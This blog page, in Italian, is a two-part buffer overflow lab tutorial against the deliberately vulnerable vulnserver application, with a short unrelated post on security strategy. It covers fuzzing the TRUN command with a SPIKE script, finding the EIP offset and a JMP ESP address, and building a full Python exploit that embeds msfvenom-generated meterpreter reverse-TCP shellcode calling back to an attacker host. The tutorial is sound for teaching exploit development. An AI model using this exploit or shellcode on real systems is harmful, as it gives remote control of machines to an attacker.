cyber security, hacking

Buffer Overflow lab [II parte]

Nella prima parte ci eravamo fermati all’analisi della memoria subito dopo il crash del nostro servizio a seguito di una nostra specifica azione: abbiamo inviato un contenuto al server composto da una serie di “A” e abbiamo scoperto di poter andare a sovrascrivere il contenuto del registro EIP e anche l’area di memoria destinate alle variabili locali che fa riferimento all’ESP.

Visto che la vulnerabilità ci ha consentito di scrivere “A” ovunque possiamo calcolare la dimensione dell’area di memoria a cui abbiamo avuto accesso. Con Immunity possiamo analizzare il DUMP della memoria semplicemente facendo “tasto destro” sull’ESP e selezionando l’opzione Follow in DUMP:

Nel riquadro in basso a sinistra verrà presentato lo stato della memoria e andando in cima all stack è possibile vedere l’area di memoria in cui iniziamo a scrivere (0x0097F200). In modo simile, andando sul fondo dello stack, possiamo vedere dove ci siamo fermati (0x0097FDA8). Semplicemente facendo la differenza tra questi due valori avremo la dimensione di memoria sovrascritta:

Questo dato, 2984 byte, è estremamente importante per le fasi di analisi e stesura del codice del nostro exploit: ora sappiano che se inviamo questa quantità di informazioni il servizio andrà in crash e possiamo verificarlo con un piccolo script:

import socket

s = socket.socket()
s.connect( ("TARGET_IP", 9999) )

total_length = 2984
payload = [
	b"TRUN /.:/",
	b"A"*total_length,
]

payload = b"".join(payload)
s.send(payload)

Siamo quindi arrivati a governare il contenuto della memoria, EIP ed ESP compresi, tramite un nostro script. Il prossimo passo è scriverci qualcosa di sensato partendo proprio dall’instruction pointer. Dobbiamo prima di tutto capire come riempire il buffer senza mettere delle “A” anche del EIP. Una tecnico abbastanza semplice è mandare in crash il programma utilizzando caratteri che non abbiamo un pattern così da identificare successivamente cosa è stato scritto all’interno del registro ed avere così la possibilità di individuare il numero di byte necessari a riempire il buffer.

Possiamo utilizzare l’utility msf-patter_create per creare una stringa di 2984 caratteri:

$ msf-pattern_create -l 2984                  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5A...

Utilizzando la stringa all’interno del payload, al posto del carattere “A” ovviamente, otterremo nuovamente il crash del servizio ma il contenuto del registro sarà molto diverso:

L’EIP è stato infatti sovrascritto dai caratteri del pattern che qui vediamo ovviamente visualizzati con il corrispettivo byte esadecimale visto che all’interno del registro non è possibile inserire delle “stringhe” nel loro formato. Non resta che scoprire quanti caratteri – e quindi byte – sono stati scritti nel buffer prima di arrivare a sovrascrivere l’EIP. Utilizziamo questa volta l’utility msf-patter_offset a cui chiederemo il numero di byte di offset in relazione alla stringa, opportunamente convertita, corrispondente all’esadecimale che vediamo dell’EIP:

$ msf-pattern_offset -l 2984 -q 386F4337        
[*] Exact match at offset 2003

Abbiamo trovato la dimensione del buffer: 2003 byte. Per verificare il nostro calcolo possiamo quindi modificare il nostro prototipo di exploit al fine di riempire il buffer per tutti i suoi 2003 byte e poi utilizzare un altro carattere per sovrascrivere ciò che viene subito dopo, ovvero il registro EIP.

import socket

s = socket.socket()
s.connect( ("TARGET_IP", 9999) )

total_length = 2984
offset = 2003
new_eip = b"BBBB"

payload = [
	b"TRUN /.:/",
	b"A"*offset,
	new_eip,
]

payload = b"".join(payload)
s.send(payload)

Riavviando il server tramite Immunity dovremmo ottenere il seguente comportamento:

Il contenuto del registro EIP è ora l’esadecimale “42 42 42 42” che corrisponde esattamente al carattere che abbiamo scelto per la variabile new_eip del nostro script. Ora controlliamo l’instruction pointer e si nota come l’ESP sia ora vuoto in quanto ci siamo fermati all’invio della stringa che doveva sovrascrivere l’EIP. Se nel nostro payload andiamo ad aggiungere un altro set di caratteri, ad esempio una serie di “C”, fino a riempire i restanti byte a disposizione dovremmo ottenere la sovrascrittura controllata anche dell’ESP.

payload = [
	b"TRUN /.:/",
	b"A"*offset,
	new_eip,
        b"C"*(total_length - offset - len(new_eip)),
]

Si seguito lo stato dei registri con questa modifica:

Siamo quindi nella condizione di poter scrivere ciò che vogliamo nelle tre aree di memoria a disposizione. Non stiamo però controllando l’esecuzione del programma che infatti va in crash. Questo perché non stiamo gestendo correttamente il contenuto del EIP (stiamo utilizzando dei semplici caratteri) ed il programma non può eseguire la sua JUMP nella corretta posizione di memoria dove si trova l’ESP.

Dobbiamo quindi capire in che area della memoria far puntare EIP per gestire correttamente la JUMP verso ESP. Immunity mette a disposizione diverse plugin tra cui una è MONA (https://github.com/corelan/mona). Non mi soffermo sull’utilizzo del tool e vi suggerisco il manuale scritto dall’autore; tramite il comando jmp -r ESP il tool ci mostra tutti i “pointers” di tipo “jmp esp”:

Ovviamente il servizio quando è in esecuzione ha diverse JUMP verso ESP in quanto ci sono più funzioni che vengono chiamate. A noi interessa individuare quella di cui stiamo abusando con il nostro exploit. Da notare che delle varie JUMP le ultime due contengono riferimenti a contenuti ascii… interessante visto che noi stiamo proprio inviando questo tipo di dato al programma. Potremmo quindi ipotizzare che una di queste JUMP sia quella che vogliamo controllare.

Per appurarlo dobbiamo annotarci il valore del registro (0x62501203 nel mio lab.) ed utilizzarlo come contenuto per l’EIP del nostro exploit. E’ ovviamente da considerare che questo valore è la rappresentazione esadecimale dei byte che sono effettivamente presenti del registro, dobbiamo quindi a nostra volta mandare il corretto valore opportunamente convertito.

Utilizziamo la libreria struct di cui nella live su Twitch abbiamo parlato per un abbondante quarto d’ora e qui non ci soffermiamo. Per convertire correttamente il dato il comando, da utilizzare al posto delle “B”, è il seguente:

new_eip = struct.pack('<I', 0x62501203)

Lo script ora sarà in grado di eseguire la JUMP in una posizione legittima dell’ESP dove, nell’ultima esecuzione, abbiamo posizionato una serie di “C”. Per verificare cosa accade a runtime possiamo impostare un breakpoint su Immunity così da fermare il programma subito prima della JUMP:

Eseguendo ora l’exploit dovremmo ottenere qualcosa di simile a questo:

Il valore dell’EIP è quello da noi impostato e se andiamo a verificare lo stato dello stack possiamo controllare il contenuto della memoria dove sono ben visibili i caratteri “A” che stiamo utilizzando per il buffer, il contenuto dell’EIP opportunamente convertito ed i caratteri “C”.

Grazie al breakpoint l’esecuzione è interrotta ma possiamo utilizzare i tasti F6 ed F7 per andare indietro ed avanti una istruzione alla volta. In questo momento siamo fermi sulla JUMP quindi andando avanti di una istruzione la JUMP verrà eseguita verso un’area di memoria legittima, quella dell’ESP.

Possiamo quindi osservare il contenuto delle prossime posizioni della memoria che corrisponde all’esadecimale 43, ovvero il carattere “C” con cui abbiamo riempito l’ESP. In pratica abbiamo raggiunto il principale obiettivo: possiamo governare la JUMP in un’area della memoria che possiamo controllare. Ora dobbiamo decidere cosa far eseguire e posizionare le istruzioni opportune in quest’area di memoria.

Nota: in questa occasione saltiamo il controllo di eventuali caratteri non ammessi, si prenda atto che non utilizzeremo istruzioni “\x00” nel nostro shellcode.

E’ da considerare che questa operazione, in contesti più complessi rispetto al nostro vuln-server, presenta delle incertezze ed è quindi opportuno costruire le condizioni per favorire l’esecuzione del nostro shellcode. Tipicamente viene utilizzata una specifica istruzione: \x90, la famigerata NOP. Di base diremo al processore di non fare nulla per qualche iterazione prima di incontrare il nostro shellcode.

Come shellcode useremo un altro famigerato strumento: meterpreter. Per utilizzare questa reverse shell nel nostro exploit dobbiamo inserire le istruzioni necessarie all’interno del payload. Con msfvenom possiamo fare esattamente questo:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 -b “\x00” -f python

Vediamo uno ad uno parametri:

  • -p windows/meterpreter/reverse_tcp ci serve ovviamente a definire la reverse shell che vogliamo utilizzare
  • LHOST=10.0.2.4 definisce l’IP della macchina dell’attacker a cui la shell dovrà collegarsi
  • LPORT=4444 definisce la porta della macchina dell’attacker dove il servizio sarà in ascolto
  • -b “\x00” esclude il carattere in questione per evitare interruzioni indesiderate dello shellcode
  • -f python aiuta i pigri e formatta l’output pronto per essere inserito in uno script python

Il risultato finale è qualcosa del genere:


import socket
import struct

s = socket.socket()
s.connect( ("192.168.1.7", 9999) )

total_length = 2983
offset = 2003
new_eip = struct.pack('<I', 0x62501203)
nop = b"\x90"*8

buf =  b""
buf += b"\xd9\xf6\xbb\x8f\xe3\x45\x67\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x59\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\x6d"
buf += b"\x16\xb9\x8f\xfe\xd9\x42\x50\x60\xeb\x90\xd9\x85\x6f"
buf += b"\x9e\x88\x75\xfb\xf2\x20\xfe\xa9\xe6\x37\xb7\x04\x21"
buf += b"\x79\x48\x13\x5f\x51\x87\xe4\x0c\x9d\x86\x98\x4e\xf2"
buf += b"\x68\xa0\x80\x07\x69\xe5\x56\x6d\x86\xbb\x3f\x06\x0a"
buf += b"\x2c\x4b\x5a\x96\x4d\x9b\xd0\xa6\x35\x9e\x27\x52\x8a"
buf += b"\xa1\x77\x11\x5a\xba\xfc\x7d\x7b\xbb\xd1\x2d\xfe\x72"
buf += b"\xa1\xf1\x31\x7a\x03\x82\x06\x0f\x95\x42\x57\xcf\x57"
buf += b"\xa5\x95\x63\x56\xfe\x9e\x9b\x2c\xf4\xdc\x26\x37\xcf"
buf += b"\x9f\xfc\xb2\xcf\x38\x76\x64\x2b\xb8\x5b\xf3\xb8\xb6"
buf += b"\x10\x77\xe6\xda\xa7\x54\x9d\xe7\x2c\x5b\x71\x6e\x76"
buf += b"\x78\x55\x2a\x2c\xe1\xcc\x96\x83\x1e\x0e\x7e\x7b\xbb"
buf += b"\x45\x6d\x6a\xbb\xa6\x6d\x93\xe1\x30\xa1\x5e\x1a\xc0"
buf += b"\xad\xe9\x69\xf2\x72\x42\xe6\xbe\xfb\x4c\xf1\xb7\xec"
buf += b"\x6e\x2d\x7f\x7c\x91\xce\x7f\x54\x56\x9a\x2f\xce\x7f"
buf += b"\xa3\xa4\x0e\x7f\x76\x50\x05\x17\xb9\x0c\x18\xe2\x51"
buf += b"\x4e\x1b\xf9\x12\xc7\xfd\x51\x05\x87\x51\x12\xf5\x67"
buf += b"\x02\xfa\x1f\x68\x7d\x1a\x20\xa3\x16\xb1\xcf\x1d\x4e"
buf += b"\x2e\x69\x04\x04\xcf\x76\x93\x60\xcf\xfd\x11\x94\x9e"
buf += b"\xf5\x50\x86\xf7\x61\x9a\x56\x08\x04\x9a\x3c\x0c\x8e"
buf += b"\xcd\xa8\x0e\xf7\x39\x77\xf0\xd2\x3a\x70\x0e\xa3\x0a"
buf += b"\x0a\x39\x31\x32\x64\x46\xd5\xb2\x74\x10\xbf\xb2\x1c"
buf += b"\xc4\x9b\xe1\x39\x0b\x36\x96\x91\x9e\xb9\xce\x46\x08"
buf += b"\xd2\xec\xb1\x7e\x7d\x0f\x94\xfc\x7a\xef\x6a\x2b\x23"
buf += b"\x87\x94\x6b\xd3\x57\xff\x6b\x83\x3f\xf4\x44\x2c\x8f"
buf += b"\xf5\x4e\x65\x87\x7c\x1f\xc7\x36\x80\x0a\x89\xe6\x81"
buf += b"\xb9\x12\x19\xfb\xb2\xa5\xda\xfc\xda\xc1\xdb\xfc\xe2"
buf += b"\xf7\xe0\x2a\xdb\x8d\x27\xef\x58\x9d\x12\x52\xc8\x34"
buf += b"\x5c\xc0\x0a\x1d"

payload = [
	b"TRUN /.:/",
	b"A"*2003,
	new_eip,
	nop,
	buf,
	b"D"*(total_length - offset - len(new_eip) - len(nop) - len(buf)),
]

payload = b"".join(payload)
s.send(payload)

L’exploit è pronto e il payload è stato opportunamente modificato per aprire una shell verso la macchina attaccante. Ovviamente dobbiamo predisporre la macchina da cui eseguiremo l’exploit affinché sia in grado di accettare la connessione remota. Per comodità di laboratorio possiamo usare metasploit e configurare l’handler per meterpreter:

Una volta avviato il servizio sul sistema target potremo lanciare l’exploit. Se tutto funziona correttamente il server questa volta non andrà in crash ma resterà in esecuzione senza dare messaggi specifici. Accedendo alla console di metasploit dovremmo invece vedere la sessione della shell attiva:


L’argomento exploiting è per me molto affascinante e lo ritengo molto utile per comprendere diversi aspetti del funzionamento dei sistemi e delle applicazioni. Quando ho annunciato la mia volontà di dedicare uno spazio in quelle che poi sono state due live per un totale di 5 ore di video e due articoli qualcuno ha etichettato l’argomento come anacronistico probabilmente non riuscendo a vedere il lato formativo del tema.

Incontro molte persone che sulla carta sono “esperti” in cyber security e che non hanno mai neanche provato ad analizzare una vulnerabilità. Ritengo che questo trend sia pericoloso, si tende a dare per scontata la conoscenza intima dei sistemi ma è evidente che c’è qualcosa che non sta funzionando nella formazione delle nuove figure professionali. Ci sono delle lacune a livello di nozioni base e questo fatto è un evidente limite che gli attacker non è detto che abbiano.

cyber security, podcast

Strategia != tattica

Ho notato che sono concetti su cui non sempre si riflette e, ovviamente, anche nel campo della cyber security è bene considerare come costruire una strategia che consenta ad una organizzazione di migliorare il proprio livello di sicurezza. Nelle ultime sessioni live abbiamo spesso toccato aspetti tattici ed approfondimenti specifici che devono però essere necessariamente contestualizzati in una strategia.

La sessione live del 20 maggio, come sempre disponibile per qualche giorno sul canale, è dedicata a questo tema. Alla fine abbiamo chiacchierato per due ore e mezza abbondanti quindi propongo una rapida sintesi nella puntata del podcast dove, in 15 minuti, ho provato a condensare uno degli argomenti trattati. Qui è disponibile l’episodio.

Nelle prossime sessioni, sia su Twitch che nel podcast, vorrei provare ad affrontare diversi aspetti strategici per poi approfondirne l’applicazione con i relativi strumenti e le competenze necessarie.

cyber security, hacking

Buffer Overflow lab [I parte]

Premessa doverosa: tratto il tema perché mi piace e appassiona molto ma non sono certo un esperto, mi rivolgo quindi a chi come me è affascinato dall’argomento ed ha interesse ad approfondire passando per un esercizio pratico.

Durante una sessione live di qualche settimana fa (l’argomento era una simulazione di attacco) si è un po’ discusso e sono emerse domande circa lo sfruttamento delle vulnerabilità e le tecniche di exploiting. Ho quindi pensato di dedicare una live (ma ne serviranno almeno due) all’argomento con lo scopo di semplificare il semplificabile e fare qualcosa di molto pratico. La live di giovedì 5 maggio, ancora disponibile sul mio canale Twitch, introduce quindi l’argomento con un piccolo laboratorio estremamente realistico che chiunque può replicare. In questo post provo a mettere “in fila” i vari step visti durante la prima parte in live.

Intro: un grammo di teoria

Resistete, sono due cose ma fondamentali. Dobbiamo necessariamente capire come si manifesta un buffer overflow. Partiamo da un esempio molto semplice ed immaginiamo un programma base che ha una funzione main() dove avvengono “cose” ed una funzione task() che fa altre “cose”:

int main() {
    task();
    other_task();
}

int task() {
    char buff[42];
    ...
}

Cose succede nella memoria del nostro elaboratore quando un programma come questo viene eseguito? L’area di memoria interessata è chiamata stack (pila) perché si comporta proprio come una pila di byte nel momento in cui viene riempita di informazioni.

Sul “fondo” viene posizionata la funziona main() e le relative variabili locali, subito sopra si trova l’area di memoria che contiene l’indirizzo a cui andare per tornare alla funzione main() ed infine l’area dedicata alla funzione task().

Ciò che avviene quando il programma viene eseguito è sintetizzabile con i seguenti step:

  1. la funzione main() viene eseguita
  2. viene chiamata la funzione task()
  3. viene salvato il return address nel registro così da riprendere la funzione main() da dove si è fermata una volta eseguita la funzione task()
  4. viene eseguita la funzione task()
  5. viene letto il valore del return address
  6. il programma prosegue dall’istruzione successiva alla chiamata della funzione task()

Se tutto procede senza errori il programma terminerà con successo. In questo passaggio è importante comprendere che durante l’esecuzione della funzione task() l’area di memoria allocata dipende dalle esigenze della funzione in termini di “consumo”. Come si nota dallo pseudo-codice la variabile buff[42] è un array che può contenere 42 elementi. Cosa succederebbe se provassimo a scrivere 200 caratteri e non controllassimo questo evento a livello di codice?

Il contenuto del registro dove era stato salvato il return address viene sovrascritto ed il programma tenterebbe di riprendere da una posizione di memoria (AAAA nell’esempio) inesistente o non valida con relativo crash.

Exploiting

Capita la teoria vediamo come è potenzialmente sfruttabile questo meccanismo. Se potessimo controllare il valore del return address potremmo indirizzare il programma altrove ed eseguire le istruzioni presenti in altre aree di memoria. Con la stessa logica se potessimo scrivere istruzioni arbitrarie, invece delle “AAAA…”, nelle aree di memoria disponibili potremmo impostare il return address così da eseguire un jump esattamente dove sono state posizionate le nostre istruzioni arbitrarie.

Per ottenere questo risultato dobbiamo ovviamente sapere quanti byte scrivere nelle differenti aree di memoria. Ci serve quindi calcolare l’esatta dimensione del buffer, l’esatta posizione del registro EIP che contiene il citato return address ed infine l’inizio e la fine dalla successiva area di memoria.

Per ottenere tutte queste informazioni bisogna lavorare un po’ di debug e qualche calcolo esadecimale. Il modo migliore per comprenderlo è vederlo dal vivo, quindi il prossimo step è mettere le mani in pasta in un lab.

Lab Setup

Come accennato ad inizio post il laboratorio in questione ha il vantaggio di essere molto il linea con la realtà. Abbiamo un sistema che ospita un’applicazione vulnerabile la quale espone un servizio contattabile remotamente. Per mettere in piedi il sistema target dobbiamo quindi semplicemente predisporre una VM con sistema operativo Windows e scaricare l’applicazione vulnerabile.

Una volta preparata la vostra VM target dovete procurarvi l’applicazione che presenta la vulnerabilità: https://github.com/stephenbradshaw/vulnserver. Di base è un eseguibile che può essere lanciato direttamente dal prompt dei comandi:

Abbiamo quindi la nostra applicazione avviata e pronta a ricevere delle connessioni. Per fare qualche prova e come base anche per le successive operazioni di analisi possiamo usare la solita Kali che ci darà un mano anche successivamente grazie ad alcuni tools comodi. In questo scenario è necessario che le due VMs siano in comunicazione. Nel mio laboratorio condividono anche la stessa network ma non è un requisito.

Testing dell’applicazione

Dalla nostra Kali possiamo quindi provare a connetterci al server che risponde sulla porta 9999 utilizzando semplicemente netcat:

nc 192.168.1.7 9999

Il risultato dovrebbe essere qualcosa di simile:

A sinistra la sessione netcat, a destra la console del servizio.

Il servizio mette a disposizione diversi comandi in grado di ricevere dei valori. Nel caso specifico noi sappiano già qual è la funzione vulnerabile mentre in una situazione reale l’analista dovrebbe andare a caccia prima di tutto della vulnerabilità o del bug da sfruttare. In questa sessione non tocchiamo il tema bug hunting quindi ci limitiamo a saltare al momento in cui, tramite una tecnica molto usata che è il fuzzing, scoviamo il bug nella funziona TRUN del programma.

Mettiamoci quindi per un attimo nei panni del bug hunter (tra l’altro attività meravigliosa che richiede molta abilità) che arriva al test del comando TRUN del server ed utilizziamo un tool della nostra Kali: generic_send_tcp. Questo piccolo software ci consente di creare ed inviare pacchetti TCP al target per vedere cosa succede, dobbiamo prima definire le istruzioni da passare al programma che possiamo mettere in un file di configurazione che io chiamerò fuzz.spk:

s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");

Il file ha tre semplici direttive abbastanza chiare:

  • leggiamo l’output del server così da vedere cosa risponde alle nostre sollecitazioni
  • chiamiamo il comando TRUN
  • “spariamo” del contenuto per vedere come reagisce

Una volta pronto il file con le configurazioni possiamo fare fuoco:

generic_send_tcp 192.168.1.7 9999 fuzz.spk 0 0

Dovremmo ottenere il crash dell’applicazione sul server Windows:

A sinistra lo script di fuzzing in esecuzione, a destra il servizio andato in crash.

Il programma va in crash e abbiamo quindi la conferma del bug. Nel nostro caso sappiamo già essere un buffer overflow e in questo lab ci comporteremo di conseguenza cercando questo specifico comportamento.

Analisi della memoria

Abbiamo un servizio che va in crash se sollecitato in un certo modo… andiamo a vedere cosa succede in memoria quando si verifica il crash. Per questo lab utilizzo sulla macchina Windows il software Immunity Debugger; è una scelta di comodo che assolve al compito specifico di farci vedere cosa viene caricato in memoria quando il programma è in esecuzione e quando va in crash.

Immunity consente di avviare il servizio direttamente dalla propria interfaccia così da “pilotarne” ed analizzarne i singoli step, anche una istruzione alla volta. Avviamo quindi il servizio da Immunity ed avviamo il servizio:

Sulla destra troviamo lo stato dei registri del processore e in questa fase è interessante vedere che, oltre a non esserci errori, il registro EIP contiene una posizione di memoria che corrisponde a dove “mandare” il puntatore delle istruzioni una volta eseguita l’istruzione in gestione. E’ quini il return address di cui si parlava prima.

Vediamo cosa succede quando lanciamo il nostro fuzzer e mandiamo in crash il programma:

Su questo screenshot si potrebbe parlare per diverse ore. Cosa sta succedendo?

Subito in cima vediamo chiaramente la nostra richiesta: la chiamata alla funzione TRUN arriva direttamente da nostro fuzzer e subito dopo vediamo i valori passati alla funzione, una serie di caratteri “A”.

Altro elemento da notare è il contenuto dell’area a cui punta il registro ESP, porzione di memoria destinata alle variabili locali del programma in esecuzione. Anche qui vediamo una serie di caratteri “A”.

Infine, forse l’elemento più interessante, il contenuto del registro EIP: 41414141 ovviamente esadecimale. A cosa corrisponde 41 esadecimale? Al carattere “A”. Interessante! Le “A” che abbiamo sparato con il fuzzer sono andate praticamente dappertutto: hanno riempito la porzione di memoria destinata alle variabili della funzione, hanno sovrascritto il registro EIP e sono arrivate a riempire l’area di memoria destinata alle variabili del programma. Quale delle precedenti immagini vi ricorda? Siamo chiaramente davanti ad un buffer overflow.


Per questa prima parte mi fermo qui. Nella seconda parte vediamo come manipolare in modo preciso il contenuto dei registri ed iniziare a scrivere il nostro exploit ora che abbiamo individuato la vulnerabilità.